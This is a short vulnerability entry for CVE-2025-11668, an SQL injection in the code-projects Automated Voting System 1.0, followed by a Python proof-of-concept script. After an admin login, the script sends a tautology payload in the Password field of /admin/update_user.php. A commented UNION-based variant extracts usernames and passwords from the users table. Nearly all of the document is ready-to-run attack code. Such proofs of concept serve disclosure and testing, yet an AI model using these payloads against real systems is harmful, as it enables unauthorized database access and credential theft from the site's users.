CVE-2025-11668：code-projects自动投票系统SQL注入漏洞

# CVE-2025-11668 PoC - SQL Injection in /admin/update_user.php # Affected: code-projects Automated Voting System 1.0 # Vulnerable Parameter: Password import requests # Target configuration TARGET_URL = "http://target-site.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" UPDATE_USER_URL = f"{TARGET_URL}/admin/update_user.php" # Step 1: Authenticate as admin (requires valid admin credentials) admin_session = requests.Session() login_data = { "username": "admin", "password": "admin_password" } admin_session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for the Password parameter # Example: Tautology-based injection to bypass password update logic sql_payload = "test' OR '1'='1' -- " # Alternative: UNION-based injection to extract data # sql_payload = "test' UNION SELECT username,password FROM users -- " # Step 3: Send the malicious request to the vulnerable endpoint update_data = { "user_id": "1", "username": "test_user", "Password": sql_payload, "email": "[email protected]" } response = admin_session.post(UPDATE_USER_URL, data=update_data) # Step 4: Check response for successful injection if response.status_code == 200: print("[+] SQL Injection payload sent successfully") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}")